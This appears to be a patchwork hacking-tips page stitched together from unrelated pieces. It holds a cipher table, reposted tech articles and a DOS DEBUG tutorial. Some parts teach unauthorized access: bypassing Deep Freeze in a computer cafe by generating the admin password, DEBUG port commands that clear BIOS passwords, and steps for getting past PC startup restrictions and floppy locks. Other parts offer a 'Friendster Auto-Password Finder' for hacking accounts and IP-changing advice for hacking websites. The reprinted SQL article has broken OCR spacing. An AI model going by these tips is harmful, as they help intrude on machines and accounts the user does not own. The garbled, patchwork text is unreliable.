Cipher Alphabet |

________________

1 a X _|_|_|_| 1

2 b 7 _|_|_|

3 c + _|_|

4 d P _|

5 e D _|_|

6 f M _|_|_|

7 g 3 _|_|_|_| 2

8 h U _|_|_|

9 i A _|_|

10 j J _|

11 k 6 _|_|

12 l Z _|_|_|

13 m R _|_|_|_| 3

14 n C _|_|_|

15 o $ _|_|

16 p G _|

17 q 5 _|_|

18 r N _|_|_|

19 s E _|_|_|_| 4

20 t B _|_|_|

21 u W _|_|

22 v % _|

23 w 9 _|_|

24 x H _|_|_|

25 y S _|_|_|_| 5

26 z K _|_|_|

<-- rebuild 4^,1v=1:5 --\>

then,

26 z K _|_|_|

1 A X _|_|_|_| 1

2 B 7 _|_|_|

3 C + _|_|

4 D P _|

5 E D _|_|

6 F M _|_|_|

7 G 3 _|_|_|_| 2

8 H U _|_|_|

9 I A _|_|

10 J J _|

11 K 6 _|_|

12 L Z _|_|_|

13 M R _|_|_|_| 3

14 N C _|_|_|

15 O $ _|_|

16 P G _|

17 Q 5 _|_|

18 R N _|_|_|

19 S E _|_|_|_| 4

20 T B _|_|_|

21 U W _|_|

22 V % _|

23 W 9 _|_|

24 X H _|_|_|

25 Y S _|_|_|_| 5

peter2dmax = 10

then,

peter = 5

if,

12345

_____

ilove

youso

much

then,

is equal to,

iymlo uoucv sheo

if,

encrypt to 1432

then,

1432

____

ilov

eyou

somu

ch!

is equals to,

iesc vuu oom! lyoh

Unfreezing Deep Freeze

What is Deepfreeze?


by Faronics, is an application suite for Linux, Mac OS X, and Microsoft Windows. Deep Freeze gives administrators the ability to protect the core operating system files and configuration files of an environment without eliminating the usability for (most) end users.

Deep Freeze protects the computer by utilizing a separate partition on the hard disk drive for write back. When the computer is rebooted, this partition is treated empty again and existing information on it is inaccessible. This allows users to make 'virtual' changes to the system, giving them the appearance that they can modify core files or even delete them, and even make the system unusable to themselves, but upon reboot the 'frozen' state of the operating system is restored.

To make changes, a system administrator must 'thaw' the system partition, make any needed changes, and 'freeze' it again. These changes are saved to the protected partition instead of the 'thawed' write back partition.

While Deep Freeze will allow users to have the comfort of virtually modifying the system as they like, it does not control the programming of individual applications that are installed. If, for example, a user account under Windows is a 'limited' account, regardless if the users can actually affect some files or not, some application installers will assume the user can not and inform them they must be an administrator. In some applications, this can be bypassed by working in 'Windows 98 Compatibility mode', which has no such user restrictions that programs typically mind, but many application installers still find trouble with this.

Deep Freeze only protects the operating system in a 'fresh booted' state. The protections the software offers can often be bypassed, for example, by installing a malicious, system wide application, especially if other users find this application popular and accept that its being installed when they log in means it is authentic. One user could install a modified version of a popular web browser that's been designed to save passwords to a server on the internet, then log out, then other users who log in would see that browser and may use it out of preference. To use the computer more safely, the user would have to restart the computer first.

Deep Freeze also can not protect against direct access to a disk drive when the hosting operating system is not in control of the system. That is, if another operating system can be booted from another hard disk, a USB device, or optical media, they will have real access to the contents of the frozen and thawed partitions. This may be protected against by setting the first hard disk as the only bootable hard disk and password protecting the BIOS configuration, but if physical access to the computer is available, this can be bypassed with a BIOS reset or rearranging the hard drive installation.

Uninstalling Deep freeze

In able to uninstall deep freeze, first deep freeze must set to thawed mode,

press CTRL + ALT + SHIFT + F6, then type in your password, set it to thawed mode then reboot your computer.

Then using the same installer that you use to install deep freeze, unstall the deep freeze.

that's the basic.

but in Hacking a computer w/ deep freeze..

Problem you encounter:

• You didn't know the administrator password
• You've deleted your deep freeze uninstaller.
• You really don't know how to use deep freeze.

First, if you forgot or you really don't know the administrator password,
and you're just a noob hacker in a computer cafe and you want to bypass deep freeze,
press CTRL + ALT + SHIFT + F6, check if the admin didn't put any password by
clicking OK button. if password is required, copy the OTP token above.
then go to the installation directory of deep freeze.
for example,
C:/Program Files/Faronics/Deep Freeze
then choose the deep freeze for admin, then go to Generate Password then paste the token,
then generate, then boom.. you'll get the password of the day.

Note: this method only works for ADMIN users or if your computer was in Safe mode.


if still you can't unfreeze deep freeze in a simple method, i've created a deep freeze unfreeze
program, you may download it here, here and here..

CLICK HERE TO DOWNLOAD

double click choose thawed mode, then restart your computer. nothing more, nothing less.
your deep freeze is in thawed mode, you may uninstall deep freeze at ADD/REMOVE at
control panel.

JL.CHURA.PL Symbianze

I recently, havin' trouble with jl.chura.pl symbianze.. a little tricky, which your computer automatically download viruses.. jl.chura.pl can be found at your hosts file,

127.0.0.1 jl.chura.pl <------------------------------------------
# Copyright (c) 1993-1999 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
# 102.54.94.97 rhino.acme.com # source server
# 38.25.63.10 x.acme.com # x client host

127.0.0.1 localhost

Friendster Spam

According to TrendLabs Malware blog, a ZLOB variant is being used by cyber criminals in this recent spin on the malware social networking scene. Users of Friendster, a social networking site hugely popular in Asia, may have recently received an email via the site’s internal messaging utility that entices them to view a video.

Users receiving email via Friendster may feel safe since the email arrives within the Friendster zone. However, the email links to an external site. In this particular case, the link is a front for a quick redirection which leads the user to a fake video site. The user cannot view the fake video because he lacks an updated version of the player (in this case, what pretends to be Adobe Flash Player). The name of the site is “YuoTube”–the cybercriminals’ attempt to appear like the legitimate and popular video site, YouTube.

Friendster link scores much on credibility, because it often arrives via messages sent through social networking sites’ internal messaging functionality. The sender will often appear to be one of the user’s contacts; this increases likelihood that users will click on the link.

Malware from WORM_KOOBFACE family (one of the earliest being WORM_KOOBFACE.E, and the latest being WORM_KOOBFACE.AC) specializes in propagating via social networking sites. They propagated mostly in Facebook but have been seen to expand operations to other networking sites like Hi5 and Bebo. These worms have the capacity to hurdle CAPTCHAs.

Users are advised to be wary of unsolicited messages. Also, only download software and software updates from the software vendor’s sites or via auto-update features, not via popups that appear during browsing.

Delete an "UNDELETABLE" File

Open a Command Prompt window and leave it open.
Close all open programs.
Click Start, Run and enter TASKMGR.EXE
Go to the Processes tab and End Process on Explorer.exe.
Leave Task Manager open.
Go back to the Command Prompt window and change to the directory
the AVI (or other undeletable file) is located in.
At the command prompt type DEL where is
the file you wish to delete.
Go back to Task Manager, click File,
New Task and enter EXPLORER.EXE to restart the GUI shell.
Close Task Manager.


Or you can try this

Open Notepad.exe

Click File>Save As..>

locate the folder where ur undeletable file is

Choose 'All files' from the file type box

click once on the file u wanna delete so its name appears in the 'filename' box

put a " at the start and end of the filename
(the filename should have the extension of the undeletable file so it will overwrite it)

click save,

It should ask u to overwrite the existing file, choose yes and u can delete it as normal


Here's a manual way of doing it.


1. Start

2. Run

3. Type: command

4. To move into a directory type: cd c:\*** (The stars stand for your folder)

5. If you cannot access the folder because it has spaces for example Program Files or

Kazaa Lite folder you have to do the following. instead of typing in the full folder name only take
the first 6 letters then put a ~ and then 1 without spaces.
Example: cd c:\progra~1\kazaal~1

6. Once your in the folder the non-deletable file it in type in dir - a list will come up with everything inside.

7. Now to delete the file type in del ***.bmp, txt, jpg, avi, etc...
And if the file name has spaces you would use the special 1st 6 letters followed by a ~ and a 1 rule.
Example: if your file name was bad file.bmp you would type once in the specific folder thorugh command,
del badfil~1.bmp and your file should be gone. Make sure to type in the correct extension...†

Creating a Huge File for nothing

You can create a file of any size using nothing more than what's supplied with Windows.
Start by converting the desired file size into hexadecimal notation.
You can use the Windows Calculator in Scientific mode do to this.
Suppose you want a file of 1 million bytes. Enter 1000000 in the calculator and click on the Hex option to convert it (1 million in hex is F4240.)
Pad the result with zeroes at the left until the file size reaches eight digits—000F4240.

Now open a command prompt window.
In Windows 95, 98, or Me, you can do this by entering "COMMAND" in the Start menu's Run dialog;
in Windows NT 4.0, 2000, or XP enter "CMD" instead.
Enter the command "DEBUG BIGFILE.DAT" and ignore the File not found message.
Type "RCX" and press Enter. Debug will display a colon prompt.
Enter the last four digits of the hexadecimal number you calculated (4240, in our example).
Type "RBX" and press Enter, then enter the first four digits of the hexadecimal size (000F, in our example).
Enter "W" for Write and "Q" for Quit. You've just created a 1-million-byte file using Debug.
Of course you can create a file of any desired size using the same technique.

How to crack windows, programs ect manually

Debug is a program that comes with modern versions of DOS (I do not know when I started shipping out with DOS). Anyway, all Windows users should have it already.
It's a great tool for debugging programs, unassembling and cracking, and reading "hidden" memory areas like the boot sector, and much more.
The following was copied from an assembly tutorial who's author we cannot credit, because we have no idea who he is.

Get into DOS and type "debug", you will get a prompt like this:
-

now type "?", you should get the following response:
assemble A [address]
compare C range address
dump D [range]
enter E address [list]
fill F range list
go G [=address] [addresses]
hex H value1 value2
input I port
load L [address] [drive] [firstsector] [number]
move M range address
name N [pathname] [arglist]
output O port byte
proceed P [=address] [number]
quit Q
register R [register]
search S range list
trace T [=address] [value]
unassemble U [range]
write W [address] [drive] [firstsector] [number]
allocate expanded memory XA [#pages]
deallocate expanded memory XD [handle]
map expanded memory pages XM [Lpage] [Ppage] [handle]
display expanded memory status XS

Lets go through each of these commands:
Assemble:

-a
107A:0100

At this point you can start assembling some programs, just like using a assembler.
However the debug assembler is very limited as you will probably notice. Lets try to enter a simple program:

-a
107A:0100 MOV AH,02
107A:0102 MOV DL,41
107A:0104 INT 21
107A:0106 INT 20
-g
A

Program terminated normally

That's the same program we did at the end of the previous chapter. Notice how you run the program you just entered with "g",
and also notice how the set-up part is not there? That's because debug is just too limited to support that.
Another thing you can do with assemble is specify the address at which you want to start,
by default this is 0100 since that's where all .COM files start.
Compare:

Compare takes 2 block of memory and displays them side by side, byte for byte. Lets do an example.
Quite out of debug if you haven't already using "q". Now type "debug c:\command.com"

-c 0100 l 8 0200
10A3:0100 7A 06 10A3:0200

This command compared offset 0100 with 0200 for a length of 8 bytes. Debug responded with the location that was DIFFERENT.
If 2 locations were the same, debug would just omit them,
if all are the same debug would simply return to the prompt without any response.
Dump:

Dump will dump a specified memory segment. To test it, code that assembly program again:

C:\>debug
-a
107A:0100 MOV AH,02
107A:0102 MOV DL,41
107A:0104 INT 21
107A:0106 INT 20
-d 0100 l 8
107A:0100 B4 02 B2 41 CD 21 CD 20
...A.!.

The "B4 02 B2 41 CD 21 CD 20" is the program you just made in machine language.

B4 02 = MOV AH,02
B2 41 = MOV DL,41
CD 21 = INT 21
CD 20 = INT 20

The "...A.!." part is your program in ASCII. The "." represent non-printable characters. Notice the A in there.
Enter:

This is one of the hard commands. With it you can enter/change certain memory areas.
Lets change our program so that it prints a B instead of an A.
-e 0103 <-- edit program at segment 0103
107A:0103 41.42 <-- change 41 to 42
-g
B

Program terminated normally
-
Wasn't that amazing?
Fill:

This command is fairly useless, but who knows....
It fills the specified amount of memory with the specified data.
Lets for example clear out all memory from segment 0100 to 0108, which happens to be our program.
-f 0100 l 8 0 <-- file offset 0100 for a length of 8 bytes with 0
-d 0100 l 8 <-- verify that it worked
107A:0100 00 00 00 00 00 00 00 00 .......
Yep, it worked.
Go:

So far we used go (g) to start the program we just created.
But Go can be used for much more. For example, lets say we want to execute a program at 107B:0100:
-r CS <-- set the CS register to point to 107B
CS 107A
:107B
-g =100

You can also set breakpoints.
-a <-- enter our original program so we have something
107A:0100 MOV AH,02 to work with
107A:0102 MOV DL,41
107A:0104 INT 21
107A:0106 INT 20
-g 102 <-- set up a break point at 107A:0102

At this point the program will stop, display all registers and the current instruction.
Hex:

This can be very useful. It subtracts and adds two hexadecimal values:
-h 2 1
0003 0001 <-- 2h + 1+ = 3h and 2h - 1h = 1h

This is very useful for calculating a programs length, as you will see later.
Input:

This is one of the more advanced commands, and I decided not to talk about it too much for now.. phew*.
It will read a byte of data from any of your computers I/O ports (keyboard, mouse, printer, etc).

-i 3FD
60
-

Your data may be different.
In case you want to know, 3FD is Com port 1, also known as First Asynchronous Adapter.
Load:

This command has 2 formats. It can be used to load the filename specified with the name command (n), or it can load a specific sector.

-n c:\command.com
-l

This will load command.com into debug. When a valid program is loaded all registers will be set up and ready to execute the program.
The other method is a bit more complicated, but potential also more usefull. The syntax is

L

-l 100 2 10 20

This will load starting at offset 0100 from drive C (0 = A, 1 = B, 2 = C, etc), sector 10h for 20h sectors. This can be useful for recovering files you deleted.
Move:

Move takes a byte from the starting address and moves it to the destination address.
This is very good to temporary move data into a free area,
than manipulate it without having to worry about affecting the original program.
It is especially useful if used in conjunction with the r command to which I will get later. Lets try an example:
-a <-- enter our original program so we have something
107A:0100 MOV AH,02 to work with
107A:0102 MOV DL,41
107A:0104 INT 21
107A:0106 INT 20
-m 107A:0100 L 8 107B:0100 <-- more 8 bytes starting from 107A:0100 into 107B:0100
-e 107B:0103 <-- edit 107B:0103
107B:0103 41.42 <-- and change it 42 (
-d 107A:0100 L 8 <-- make sure it worked
107A:0100 B4 02 B2 41 CD 21 CD 20 ...A.!.
-d 107B:0100 L 8
107A:0100 B4 02 B2 42 CD 21 CD 20 ...B.!.
-m 107B:0100 L 8 107A:0100 <-- restore the original program since we like the changes.
Name:

This will set debug up with a filename to use for I/O commands. You have to include the file extension, and you may use addition commands:

-n c:\command.com
Output:

Exactly what you think it is. Output sends stuff to an I/O port.
If you have an external modem with those cool lights on it, you can test this out.
Find out what port your modem is on and use the corresponding hex number below:

Com 1 = 3F8 - 3FF (3DF for mine)
Com 2 = 2F8 - 2FF
Com 3 = ??? - ??? (if someone knows, please let me know)

Now turn on the DTA (Data Terminal Ready) bit by sending 01h to it:
-o XXX 1 <-- XXX is the com port in hex

As soon as you hit enter, take a look at your modem, you should see a light light up.
You can have even more fun with the output command. Say someone put one of those BIOS passwords on "your" computer. Usually you'd have to take out the battery to get rid of it,
but not anymore:

MI/AWARD BIOS
-o 70 17
-o 71 17

QPHOENIX BIOS
-o 70 FF
-o 71 17

QGENERIC
-o 70 2E
-o 71 FF

These commands will clear the BIOS memory, thus disabling the password.
Proceed:

Proceeds in the execution of a program, usually used together withy Trace, which I will cover later. Like the go command, you can specify an address from which to start

using =address
-p 2

Debug will respond with the registers and the current command to be executed.
Quite:

This has got to be the most advanced feature of debug, it exits debug!

-q
Register:

This command can be used to display the current value of all registers,
or to manually set them. This is very useful for writing files as you will see later on.

-r AX
AX: 011B
:5
-
Search:

Another very useful command. It is used to find the occurrence of a specific byte,
or series of bytes in a segment. The data to search for can by either characters, or a hex value.
Hex values are entered with a space or comma in between them, and characters are enclosed with quotes (single or double).
You can also search for hex and characters with the same string:
-n c:\command.com <-- load command.com so we have some data to search in
-l
-s 0 l 0 "MS-DOS" <-- search entire memory block for "MS-DOS"
10A3:39E9 <-- found the string in 10A3:39E9

NOTE: the search is case sensitive!
Trace:

This is a truly great feature of debug.
It will trace through a program one instruction at a time, displaying the instruction and registers after each.
Like the go command you can specify where to start executing from, and for how long.
-a <-- yes, this thing again
107A:0100 MOV AH,02
107A:0102 MOV DL,41
107A:0104 INT 21
107A:0106 INT 20
-t =0100 8

If you leave out the amount of instructions that you want to trace, you can use the proceed (p) to continue the execution as long as you want.
Unassemble:

Unassembles a block of code. Great for debugging (and cracking)
-u 100 L 8 <-- unassembles 8 bytes starting at offset 100
107A:0100 MOV AH,02 <-- debut's response
107A:0102 MOV DL,41
107A:0104 INT 21
107A:0106 INT 20
Write:

This command works very similar to Load. It also has 2 ways it can operate: using name,
and by specifying an exact location. Refer to back to Load for more information.

NOTE: The register CX must be set the file size in order to write!
NOTE: Write will not write .EXE or .HEX files.[SIZE=7][SIZE=14]

How To: Change Your Ip In Less Then 1 Minute

Changing your IP:



1. Click on "Start" in the bottom left hand corner of screen
2. Click on "Run"
3. Type in "command" and hit ok

You should now be at an MSDOS prompt screen.

4. Type "ipconfig /release" just like that, and hit "enter"
5. Type "exit" and leave the prompt
6. Right-click on "Network Places" or "My Network Places" on your desktop.

7. Click on "properties"

You should now be on a screen with something titled "Local Area Connection", or something close to that, and, if you have a network hooked up, all of your other networks.

8. Right click on "Local Area Connection" and click "properties"
9. Double-click on the "Internet Protocol (TCP/IP)" from the list under the "General" tab
10. Click on "Use the following IP address" under the "General" tab
11. Create an IP address (It doesn't matter what it is. I just type 1 and 2 until i fill the area up).
12. Press "Tab" and it should automatically fill in the "Subnet Mask" section with default numbers.
13. Hit the "Ok" button here
14. Hit the "Ok" button again

You should now be back to the "Local Area Connection" screen.

15. Right-click back on "Local Area Connection" and go to properties again.
16. Go back to the "TCP/IP" settings
17. This time, select "Obtain an IP address automatically"
tongue.gif 18. Hit "Ok"
19. Hit "Ok" again
20. You now have a new IP address

With a little practice, you can easily get this process down to 15 seconds.

P.S:
This only changes your dynamic IP address, not your ISP/IP address. If you plan on hacking a website with this trick be extremely careful, because if they try a little, they can trace it back..†

Acess SQL

Mastering Access S Q L ( S t r u c t u re d
Query Language) can be a daunting
task even if you consider yourself
an Access expert. Part of the
p roblem is the absence of an Access-to-S Q L
i n t e rface. This limitation doesn’t have to slow
you down, however, if you know how to avoid
some of the more common coding mistakes. In
this article, we’ll show you how to use the query
design grid to create SQL statements and then
how to run the statements in the Immediate
window to debug them.
You might be wondering why you should
bother to learn SQL at all. One reason is that
almost any bound object will accept a S Q L
statement as its data source. Consequently, you
can often replace a fixed query with a simple
SQL statement. In addition, some queries simply
can’t be replicated in the query design grid.
Only a SQL statement can implement a Union
query, for instance. Once you’re familiar with
SQL, you’ll find many convenient uses for it.
BUILD A SQL STATEMENT IN THE QUERY
DESIGN GRID
SQL statements can be extremely long and, as
such, prone to logic errors and typos, so let
Access do as much of the work for you as possible.
Fortunately, you can create most basic
statements in the query design grid. Access
p roduces an equivalent SQL statement for every
query, and you can use this behaviour to your
advantage. To build a SQL statement in the
query design grid, begin as you would with
any normal query by choosing a data sourc e
(table or query), clicking on the New Object
button in the Database toolbar and selecting
Query. (In Access 97, you would select the
Queries tab and click the New button.)
Once you have a data source and have
opened the query design grid, drag fields fro m
the field list to the grid, build relationships, add
criteria and specify sort orders. Along the way,
feel free to view the results of the query by
clicking the View button and choosing
Datasheet Vi e w .
When you’ve gone as far as you can using the
grid – you may not be able to create the complete
statement – click the View button and
choose SQL View and Access will display the
query’s equivalent sql statement. Finally, highlight
the statement and copy it to a module.
In many cases, the resulting statement will
need some fine tuning. Unless you’re very adept
at writing SQL statements, though, you’ll pro bably
find this quick-start method preferable to
writing the entire statement from scratch.
DEBUG A SQL STATEMENT IN THE QUERY
DESIGN GRID
If you make any changes to a SQL s t a t e m e n t
after copying it from the design grid to a module,
chances are the statement won’t run correctly
the first time. Unfortunately, VBA e r ro r
messages aren’t very helpful in this context.
On the other hand, the query design grid is
almost always helpful and informative. If you
can’t quickly figure out the problem, copy the
SQL statement from the module to the query
design grid and run the statement there. The
same error will occur, but the query design
grid’s error message will be more specific and
will usually help you pinpoint the mistake.
If you’d like to try this yourself, here’s a short
list of instructions that will help you through the
p ro c e s s :
1 . Highlight the SQL statement in the module.
Don’t include the quotation marks at the beginning or the end of the statement or the V B A
method (Run SQL or Execute) you’re using to
run the SQL s t a t e m e n t .
2 . P ress Ctrl-C or, alternatively, choose Copy
f rom the Edit menu.
3 . Access the Database window (press F11 to
re s t o re the window if it’s minimised).
4 . Choose Query from the Object bar and then
click New in the Database window toolbar.
(Access 97 users should click the Queries tab
and then click the New button in the Database
w i n d o w . )
5 . In the resulting new query dialog, double
click Design Vi e w .
6 . When Access opens the query design grid,
close the Show Table dialog without selecting
a data sourc e .
7 . Click the View button in order to open the
SQL w i n d o w .
8 . P ress Ctrl-V or choose Paste from the Edit
menu in order to copy the SQL statement to
the SQL w i n d o w .
9 . Replace any variables with the appro p r i a t e
object names.
1 0 . Select Query | Run from the Access menu
bar (or click Run on the Query Design toolb
a r. )
In step 9, we note that you must replace variables
with the actual object names they re p resent.
For example, the statement:
SELECT * FROM " & strTable & "
would re t u rn an error if you tried to run it as is
in the query design grid. You must replace the
variable strTable with an actual table or query
name. Let’s suppose you’re working with a
table named tblMyTable. You’d replace the “ &
s t r Table & “ section of your statement with the
table’s name as follows:
SELECT * FROM tblMyTable
After replacing all the variables with actual
object names, run the statement by clicking the
Run button on the Query Design toolbar. If the
grid evaluates the statement without re t u rn i n g
an erro r, you can assume your problem was
with the variables. If not, most likely there’s a
simple problem with the delimiting characters
( which we’ll discuss in the next section).
When variables aren’t the problem, Access
will almost always display a more comprehensive
error message than you received fro m
vba. For instance, if your statement contains a
syntax erro r, Access usually indicates the
o ffending section – significantly narro w i n g
your search. At this point, you should be able
to spot your mistake and make the necessary
c h a n g e s .
Keep working with the statement until you
receive no errors, then copy the corrected statement
back to the module and re s t o re any variables
you replaced in step 9. Or make the necessary
corrections to the statement in the module
(as long as the concatenated variables
w e ren’t part of the original pro b l e m ) .
AVOID CONCAT E N ATION ERRO R S
Using the query design grid to track down pro blems
in SQL statements is a great trick, but
replacing the variables first can be a pain. Yo u
can easily make a mistake in the process and
not know it, further complicating your debugging
task.
You can avoid the variable problem by
adding a few extra lines of code to your V B A
p ro c e d u re. The additional code will print an
evaluated SQL statement in the Immediate window.
By evaluated, we mean that VBA w i l l
replace all of the variables with the appro p r iate
object names. Copying the evaluated version
from the Immediate window to the query
design grid relieves you of the aggravating task
of replacing the variables and completely eliminates
the possibility of introducing typos (and
hence additional errors) into your statement.
The code that follows shows an example of
this easy trick:
strCriteria = " = 'Smith'"
strSQL = "SELECT * INTO tblNewTable FROM
tblOldTable WHERE " & "tblOldTable
.LastName" & strCriteria & ";"
Debug.Print strSQL
The first two lines assign the search criteria
and the basic SQL statement to the string variables
strCriteria and strSQL. The Debug.Print
statement then prints the evaluated statement
to the Immediate window. If the statement
re t u rns an erro r, open the Immediate window
(by pressing Ctrl-G or clicking the Code button,
depending on what window is active). Now
copy the evaluated version
SELECT* INTOtblNewTableFROMtblOldTable
WHERE tblOldTable.LastName = 'Smith';
to the query design grid (instead of copying
the original statement from the VBA m o d u l e )
and run it there. Notice that the evaluated version includes the actual name of the data sourc e
and the criteria string, not the variables shown
in the code listing above.
Not only is this solution easier, but you avoid
i n t roducing typos. Don’t wait until you have a
p roblem with a SQL statement, though; get in
the habit of adding this functionality to your
code so it’s available when you need it.
QUICK RESULTS WITH THE QUERY BUILDER
Access SQL isn’t limited to queries and V B A
modules; controls often use a SQL s t a t e m e n t
instead of a saved query as the Row Sourc e
p roperty. Fortunately, you don’t have to cre a t e
the appropriate statement from scratch; you
can use the SQL statement query builder. (We ’ l l
show you how to access this builder in just a
minute.) In the open builder, you’ll choose
fields and express criteria in the query design
grid, just as you would in a normal query. The
builder then converts your work into a S Q L
statement. You don’t actually have to know
SQL at all.
Let’s take a look at an example. Open in
Design View any form that contains a combo
or list box, or open a blank form and add a
combo or list box. Double click the combo or
list box to open its property sheet, and click the
Build button that appears when you select the
Row Source property field. This launches the
SQL statement query builder, which is a simple
query design grid. Modify the grid as you
would a query. (If you’re working with an
existing control, the grid will display an equivalent
sql statement in the query design grid.)
F i g u re 1 shows a simple expression that will
display a list of concatenated fields – FirstName
and LastName. In other words, the combo or
list control will display a list of names.
You can view this query’s SQL statement, shown in Figu
re 2, by choosing SQL View from the Vi e w
button at the far left of the toolbar. You can
also see the results of the query by choosing
Datasheet Vi e w .
As you can see, this builder is flexible – you
can view three diff e rent forms of the same
query. You can bounce back and forth between
the builder, the SQL statement, and the re s u l t s
until you get the statement just right, at which
time you simply close the builder and save
your changes when prompted. The control will
update accord i n g l y .
SQL can be difficult to work with; even the
experts occasionally fret over a statement. Fortunately,
Access offers a number of tools to
make the task easier. The query design grid
gives you an easier way to create SQL s t a t ements
than trying to create them from scratch.
In addition, you can debug statements by copying
evaluated statements from the Immediate
window to the query design grid.

HOW TO MAKE A YAHOO MESSENGER MULTIPLE ACCOUNTS

Hey hey hey...


This one is a little so simple thing..

just explore your YAHOO MESSENGER function....

you may create a multiple account in just one account...



Make sure you have a yahoo messenger, or you may download it here..

(take note that our yahoo messenger in this link site is the advance one) you may see if your
friend/s is invisible...


here it goes...


LOG-IN into your YAHOO MESSENGER ACCOUNT, once you're login, click

MESSENGER --> MY PROFILES
in MY PROFILES, choose edit/create profile.

and you can create profile as much as you want...

wahahaha...

Friendster Auto-Password Finder

Hey, I've created a java code for faster and accurate

friendster hacking. all you have to do is to modify this

and compile.

why i need to modify? = because, you need to enter

a valid username and password at its value key.

its your bridge to make a way across a river..~.~"


CLICK ME TO FUCK


(download the filename fuck.txt)


Enjoy....XD

PC HACKING

PC HACKING




I would like to note that few of these tricks are new. I

simply rounded up everything that I could find and

what I could glean from personal experience into an

organized file.



If you have any questions or comments, feel free to fuck me...


If you have any question, look for the answer...


for assistance, mail me @ peter2dmax@yahoo.com

----------------------------------------------------------------



1. Hardware and Firmware



1a. The BIOS



Passwords

=========

The BIOS, short for Basic Input/Output Services, is the control

program of the PC. It is responsible for starting up your computer,

transferring control of the system to your operating system, and

for handling other low-level functions, such as disk access.



NOTE that the BIOS is not a software program, insofar as it is

not purged from memory when you turn off the computer. It's

firmware, only it is permanently and unchangeably stored in

the machine.



A convenient little feature that most BIOS manufacturers include

is a startup password. This prevents access to the system until

you enter the correct password.



If you can get access to the system after the password has been

entered, then there are numerous software-based BIOS password

extractors available from:



ftp://oak.oakland.edu/simtel/msdos/sysutil/amis2990.zip





Resetting the CMOS

==================

There is only one other way to get past the BIOS password.

It involves discharging the static memory (CMOS) used to store the

password and other system information. Once it is discharged,

however, you have to reset all the system settings by hand.



****Follow these steps:



1. Start up the computer

a. If the system allows it, enter the Setup Screen

(Usually by pressing F1, DEL or INS during

the memory check)

b. Record all the Setup Information. Double Check.

4. Turn off the computer

5. Remove the casing, and put the computer on the ground in

such a way that you can see and access the side of

the motherboard with the processor on it.

6. Look at the motherboard.

a. If you can see a round, disc-like battery, then

remove it, and let the computer sit without

the battery for 15-30 minutes. Put the battery

back in.

b. If you have access to the circuit diagrams for the

motherboard, look in them for the password or

CMOS jumper. Flip it on and off.

c. Look for a blue, soldered-in battery with a jumper

running off of it. This jumper is for connecting

an external battery. Pull it out to reset the

CMOS.

9. Replace the computer casing.

10. Enter the Setup Screen, and set the Setup Information

back to the original values that you (hopefully)

recorded. If you were unable to record this info,

then you'll just have to set it up manually.

[NOTE: Some newer Plug & Play BIOSes have an

autodetect feature that automatically sets-up the

hard disk. Look around in the menu items in the

BIOS setup.]



Again, I would like to mention that there are numerous password

extractors available for free off the internet and on BBSes. Try those

first. They are much cleaner and easier-to-use.



----------------------------------------------------------------



1b. Floppy Locks



Floppy Locks are generally cheap plastic inserts that hook on

to the inside of the drive and lock it, thereby preventing you from

using the floppy drive. The locks used are usually those little

swivel locks used in computer casings to lock the keyboard.



If the lock is the swivel type, you can either pick it, or

buy a key (they're all the same).



To pick it, you'll need a *thin* flathead screwdriver

or a paperclip. To pick the lock, take the paperclip and insert it

into the little notch on the inside of the swivel lock. Now, pull to

the opposite side of the lock until the swivel is in the unlocked

position.



If you choose to buy a key, you can:



A. Go to your local computer service center, and buy

one of these keys. (Very cheap. Often less than

P20.00)

B. Buy the same brand of floppy lock, and use the key

that comes with it.



----------------------------------------------------------------



1c. Last Resorts



If you are *REALLY* desperate to break-in to this PC, then

the following *might* work:



1. Remove the PC Casing

2. Extract the hard disk (By unscrewing and disconnecting)

3. Transfer it to another computer. (Make sure that it is

NOT set as the boot drive.)

4. Start up this computer, and access the

hard disk from there.



This will probably not work if an encrypted file system is in

use. The only way to access such disks is to enter the password,

or figure out a way to decrypt it, so if you forget your password,

you're hosed. :(



----------------------------------------------------------------



2. DOS, Windows, and Netware



2a. Getting access to DOS



With some systems, they are set up to boot directly to some sort

of shell/security program, like Windows, or Windows 95. If you

want to get access to a DOS prompt, you have some choices:



A. Boot from a floppy disk

B. Bypass startup files

C. Bypassing DriveSpace

D. Break out of Autoexec.bat



***Booting from a floppy requires you to create a system disk.

You can do this using the DOS command FORMAT /S which will

format a disk and place system files on it. Also, the Windows

format has an option allowing you to create a system floppy.



Before you create a system disk, you must determine which

floppy drive is used to boot. If the system has both a

1.2MB (5.25") Floppy Drive and a 1.44MB (3.5") Drive, it is likely

that the boot drive is the 1.2 MB floppy drive. If the computer

has only one floppy drive, it is quite safe to assume that it is

the boot drive.



However, if you are unsure as to which drive is the boot drive,

you can either find out by entering System Setup (as described

in section 1) or by observing which floppy drive is read right

before the operating system loads.



If the system is set to boot only from the hard disk, then you

can refer to Section 1 on how to reset the CMOS.



Once you have a system disk, you place it in the floppy drive,

and turn on or reset the computer. If you have done everything

right, the computer will boot from the floppy drive and you will

have access to a DOS prompt.



***Bypassing startup files is quite simple, but only works on

versions of DOS 6.0 or better and Windows 95. When you turn on

the computer and you see the text:



Starting MS-DOS ...



or

Starting PC-DOS ...



or

Starting Windows 95 ...



Press and hold the SHIFT or F5 key IMMEDIATELY. This will bypass

the startup files (CONFIG.SYS and AUTOEXEC.BAT) as long as the

system administrator has not disabled this feature.



Additionally, you can press and hold F8 when the startup

text shows to enter the Boot menu. This lets you selectively

disable certain commands, or bypass the startup files totally,

among other things.



***Bypassing DriveSpace works if compression software such as

DriveSpace or DoubleSpace has been installed. If so, when

the startup text displays, press and hold Ctrl+F5 or Ctrl+F8.

This will load the system without loading the compression

driver, which means you can't access the files on disk.



HOWEVER, you can decompress the disk (DriveSpace only), or,

if all else fails, format it.



***Breaking out of AUTOEXEC.BAT is rather simple also. When the

computer starts up and the operating system starts loading, press

Ctrl+Break (Or Ctrl+C) repeatedly. When the AUTOEXEC.BAT executes,

this will terminate it and drop you to DOS. This will work unless

the System administrator temporarily disabled the keyboard.



----------------------------------------------------------------



2b. Getting to DOS from Windows



If the above tactics fail, and the machine automatically loads

Windows, then you still have a chance of getting to DOS. Windows

by default gives you free access to DOS. There are special security

programs to prevent the user from accessing DOS. Most of these

can be bypassed.



Screen Savers

=============

The password protection built-in to Windows 3.1 is extremely weak.

You can bypass it by simply editing CONTROL.INI and searching for

